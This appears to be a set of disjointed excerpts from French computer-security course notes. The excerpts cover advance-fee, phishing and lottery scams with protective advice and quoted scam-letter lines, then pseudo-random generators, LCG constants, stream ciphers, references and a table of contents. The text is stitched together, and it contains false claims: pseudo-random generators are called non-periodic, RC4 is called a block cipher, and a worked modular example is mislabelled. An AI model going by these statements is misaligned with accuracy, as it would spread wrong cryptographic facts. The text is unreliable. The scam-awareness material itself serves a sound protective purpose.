va envoyer quelques « documents officiels » pour rassurer sa victime et
petit à petit lui demander d'avancer des frais pour des honoraires
d'avocats, puis des frais de douanes, des frais de banque, etc.
• Soit la victime accepte, sous pression du cyberbandit, de se rendre dans
le pays avec la somme en liquide auquel cas elle devra payer des frais
pour pouvoir rester dans le pays, payer des frais de banque, soudoyer des
hommes d'affaires, et ainsi de suite.
Dans le meilleur des cas la victime rentre chez elle en avion délestée d'une somme
d'argent non négligeable, dans le pire scénario plus personne ne la revoit...
En outre, il m'a dit que c'est par rapport à cette richesse qu'il
a été empoisonné par ses associés. Il me recommande aussi de
chercher un associé étranger qui pourrait honnêtement me faire
bénéficier de son assistance pour sauver ma vie et assurer mon
existence.
- Changement de bénéficaire ;
- Servir de gardien ;
- Fournir un compte pour le transfert de fonds ;
- M'aider à le rejoindre dans son pays ;
- Investir dans un domaine profitable.
NOUS VOUS REAFFIRMONS QUE CES FONDS ONT ETE DEPOSES A NOTRE
BANQUE PAR MONSIEUR KEVIN KONE QUI, AU MOMENT DU DEPOT, AVAIT
MENTIONNE SA FILLE, ANGELA KONE COMME
L’AYANT DROIT.
Lorsque l'on vous propose de gagner facilement de grosses sommes d'argent par
Internet, il s'agit sans aucun doute d'une escroquerie. La meilleure solution est
Le mail envoyé par ces pirates usurpe l'identité d'une entreprise (banque, site
de commerce électronique, etc.) et les invite à se connecter en ligne par le biais
d'un lien hypertexte et de metre à jour des informations les concernant dans un
formulaire d'une page web factice, copie conforme du site original, en prétextant
par exemple une mise à jour du service, une intervention du support technique,
etc.
• Ne cliquez pas directement sur le lien contenu dans le mail, mais ouvrez
votre navigateur et saisissez vous-même l'URL d'accès au service.
• Méfiez-vous des formulaires demandant des informations bancaires. Il est
en effet rare (voire impossible) qu'une banque vous demande des
renseignements aussi importants par un simple courrier électronique. Dans
le doute contactez directement votre agence par téléphone !
• Assurez-vous, lorsque vous saisissez des informations sensibles, que le
navigateur est en mode sécurisé, c'est-à-dire que l'adresse dans la barre du
navigateur commence par https et qu'un petit cadenas est affiché dans la
barre d'état au bas de votre navigateur, et que le domaine du site dans
l'adresse correspond bien à celui annoncé (gare à l'orthographe du
domaine) !
Vous recevez un courrier électronique indiquant que vous êtes l'heureux gagnant
du premier prix d'une grande loterie d'une valeur de plusieurs (centaines de)
milliers d'euros. Pour empocher le pactole il suffit de répondre à ce courrier.
C'est de cette façon que ces cybertruands arrivent à extorquer des milliers
d'euros à des internautes dupes de cette supercherie.
Toute loterie et tout jeu concours possède un règlement auquel on est en droit
d'accéder. Qui plus est l'adresse électronique est généralement hébergée dans un
service gratuit de messagerie. Enfin comment expliquer qu'il faille engager des
frais pour toucher une somme si importante ?
Le mieux que l’on puisse produire d’un ordinateur est un nombre pseudo-
aléatoire. Les générateurs pseudo-aléatoires ont le mérite de ne pas être
périodiques, donc indiscernables.
Dans cet exposé, nous présenterons d’abord les nombres aléatoires puis nous
aborderons les générateurs pseudo-aléatoires qui présentent un intérêt particulier
en cryptographie.
𝑥𝑖+1 = 𝑘 ∙ 𝑥𝑖 (𝑚𝑜𝑑𝑢𝑙𝑜 𝑀)
Exemple :
𝑥1 = 89 ∙ (23)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 27
𝑥1 = 89 ∙ (80)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 50
𝑥1 = 89 ∙ (50)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 6
Soit des entiers strictement positifs 𝑘 et 𝑙 tels que 𝑙 ≥ 𝑘+1 (où 𝑙 est obtenu
de 𝑘 par application polynomiale). Un (𝑘, 𝑙) − 𝑔é𝑛é𝑟𝑎𝑡𝑒𝑢𝑟 𝑝𝑠𝑒𝑢𝑑𝑜 −
𝑎𝑙é𝑎𝑡𝑜𝑖𝑟𝑒 (ou plus brièvement un (𝑘, 𝑙) − 𝑃𝑅𝐵𝐺) est une fonction
Soit 𝑝 et 𝑞 deux nombres premiers de 𝑘/2 bits tels que 𝑝 ≡ 𝑞 ≡ 3 (𝑚𝑜𝑑 4),
et soit 𝑛 = 𝑝𝑞. Soit 𝑏 tel que 𝑝𝑔𝑐𝑑(𝑏, 𝜙(𝑛)) = 1. 𝑛 et 𝑏 sont publics tandis que
𝑝 et 𝑞 sont secrets. Une semence 𝑠0 est un élément de 𝑍𝑛∗ donc sur 𝑘 bits.
Pour 𝑖 ≥ 1, on définit 𝑠𝑖+1 = 𝑠𝑖𝑏 𝑚𝑜𝑑 𝑛 puis 𝑓(𝑠0 ) = (𝑧1 , 𝑧2 , … , 𝑧𝑙 )
Soit 𝑝 et 𝑞 deux nombres premiers de 𝑘/2 bits tels que 𝑝 ≡ 𝑞 ≡ 3 (𝑚𝑜𝑑 4),
et soit 𝑛 = 𝑝𝑞. 𝑄𝑅(𝑛) représente l’ensemble de résidus quadratiques 𝑚𝑜𝑑𝑢𝑙𝑜 𝑛.
Une semence 𝑠0 est un élément de 𝑄𝑅(𝑛). Pour 𝑖 ≥ 0, on définit 𝑠𝑖+1 =
𝑠𝑖2 𝑚𝑜𝑑 𝑛 puis 𝑓(𝑠0 ) = (𝑧1 , 𝑧2 , … , 𝑧𝑙 )
Le générateur linéaire congruentiel a une période qui n’est pas plus grande que
𝑀. Si 𝑎, 𝑏 et 𝑀 sont choisis correctement (par exemple 𝑏 et 𝑀 doivent être
premiers entre eux), alors le générateur sera un générateur de période maximale
et aura une période 𝑀 (Schneier, 1996).
Knuth (1981) et l’Ecuyer (1990) donnent dans leurs ouvrages respectifs des
détails concernant le choix des constantes qui garantit la période maximale.
Elles sont arrangées dans l’ordre croissant du plus grand produit qui ne donne
pas de dépassement de capacité pour une longueur de mot donnée.
Dépassement a b M
pour
220 106 1283 6075
221 211 1663 7875
222 421 1663 7875
223 430 2531 11979
936 1399 6655
1366 1283 6075
224 171 11213 53125
967 3041 14406
225 1541 2457 14000
1741 2431 12960
230 3877 29573 139963
3613 45289 214326
231 8121 28411 134456
232 9301 49297 233280
233 2416 374441 1771875
234 36261 66037 312500
235 84589 45989 217728
• Générateur de Geffe
• Générateur de Geffe généralisé
• Générateur de Jennings
• Générateur à signal d’arrêt Beth-Piper
• Générateur à signal d’arrêt alterné
• Générateur à signal d’arrêt bilatéral
• Générateur à seuil
• Générateur auto-cadensé
• Générateur multivitesse à produit scalaire
• Générateur sommatoire
• Générateur dynamique
• Générateur à réduction
• Générateur à auto-réduction
b. A5
c. Hugues XPD/KPD
d. Nanoteq
e. Rambutan
f. Générateur additifs
• Pike
• Mush
g. Gifford
h. Algorithme M
i. PKZIP
j. Algorithmes de chiffrement en continu et générateurs des suites
vraiment aléatoires
• RC4
• SEAL
Ces algorithmes, quels qu’ils soient, reposent sur des considérables théories
mathématiques. Ces théories permettent de prouver des propriétés intéressant à
propos de l’algorithme mais aussi de trouver de nouvelles attaques. De ce fait, les
algorithmes à base de RDRL sont inquiétants. On pourrait plutôt leur préférer les
algorithmes de chiffrement par blocs (le RC4 par exemple) (Schneier, 1996).
Bien entendu ces vitesses sont revues en hausse lorsque les algorithmes sont
implémentés dans nos ordinateurs actuels. Les fréquences des processeurs sont
aujourd’hui beaucoup plus grandes que 33 MHz. Le Pentium 4, par exemple, va
jusqu’à plus de 3 GHz de fréquence. Sans oublier que les nouvelles générations
de machines comportent non pas un seul processeur mais deux dont chacun
pouvant aller jusqu’à plus de 3 GHz de fréquence.
Dodge Y. (1996). A natural random number generator. Int. Stat. Rev. 64 (3), 329-344.
Inoue H., Kumahora H., Yoshizawa Y., Ichimura M. & Miyatake O. (1983). Random number
generated by a physical device, Appl. Stat. 32 (2), 115-120.
L’Ecuyer P. (1990). Random Numbers for simulation, Communication of ACM, vol. 33, n°10,
p. 86-97.
Park S. J. & Miller K. W. (1988). Random number generators : Good ones are hard to find,
Communications of ACM, vol. 31, n°10, p. 1192 – 1201.
Peterson I. (1992). Monte-Carlo Physics : A cautionary lesson, Sciences News, vol. 142, n°25,
p. 422
Press W. H., Flannery B. P., Teukolsky S. A. & Vetterling W. T. (1988). Numerical recipes in
C : The Art of Scientific computing, Cambridge University Press.
Schneier B. (1996). Applied Cryptography, second edition. Trad. Fr. de Laurent Viennot :
Cryptographie appliquée : Protocoles, algorithms et codes source en C, International
Thomson Publishing France, Paris, 1997.
Stinson D. (1996). Cryptography : Theory and practice, CRC Press, Floride. Trad. Fr. de Serge
Vaudenay : Cryptographie : Théorie et pratique, International Thomson Publishing France,
Paris, 1996.
INTRODUCTION ................................................................................................................................... 1
Chapitre 1 : Introduction à la sécurité informatique ................................................................................ 3
1.1. Equation du risque ................................................................................................................... 3
1.2. Objectifs de la sécurité ............................................................................................................ 3
1.3. Nécessité d’une approche globale ........................................................................................... 5
1.4. Mise en place d’une politique de sécurité ............................................................................... 5
1.5. Les causes de l’insécurité ........................................................................................................ 7
1.6. Mise en œuvre des mesures de sécurité ................................................................................... 7
1.7. Audit de sécurité ...................................................................................................................... 7
1.8. Test d’intrusion........................................................................................................................ 8
1.9. Détection des incidents ............................................................................................................ 8
1.10. Réaction aux incidents ......................................................................................................... 9
CHAPITRE 2 : CRYPTOGRAPHIE CLASSIQUE ............................................................................. 11
2.1. Introduction et terminologie .................................................................................................. 11
2.2. Histoire de la cryptographie ancienne (ou cryptographie classique) ..................................... 15
2.3. Exemples de système cryptographique.................................................................................. 15
CHAPITRE 3 : CRYPTANALYSE ...................................................................................................... 31
3.1. Principe de Kerckhoff ........................................................................................................... 31
3.2. Différents types de cryptanalyse ........................................................................................... 32
3.3. Attaque sur un chiffrement .................................................................................................... 32
3.4. Analyse de fréquences ........................................................................................................... 33
3.5. Cryptanalyse du chiffrement affine ....................................................................................... 36
3.6. Cryptanalyse du chiffrement de Vigenère ............................................................................. 38
3.7. Cryptanalyse du chiffrement par décalage (César)................................................................ 41
3.8. Différentes notions de sécurité d’un cryptosystème .............................................................. 42
3.9. Force des cryptosystèmes ...................................................................................................... 43
Chapitre 4 : Cryptographie moderne ..................................................................................................... 45
4.1. Chiffrement symétrique ......................................................................................................... 46
4.2. Chiffrement asymétrique ....................................................................................................... 47
4.3. Clé de session ........................................................................................................................ 48
4.4. Algorithme de Diffie-Hellman .............................................................................................. 49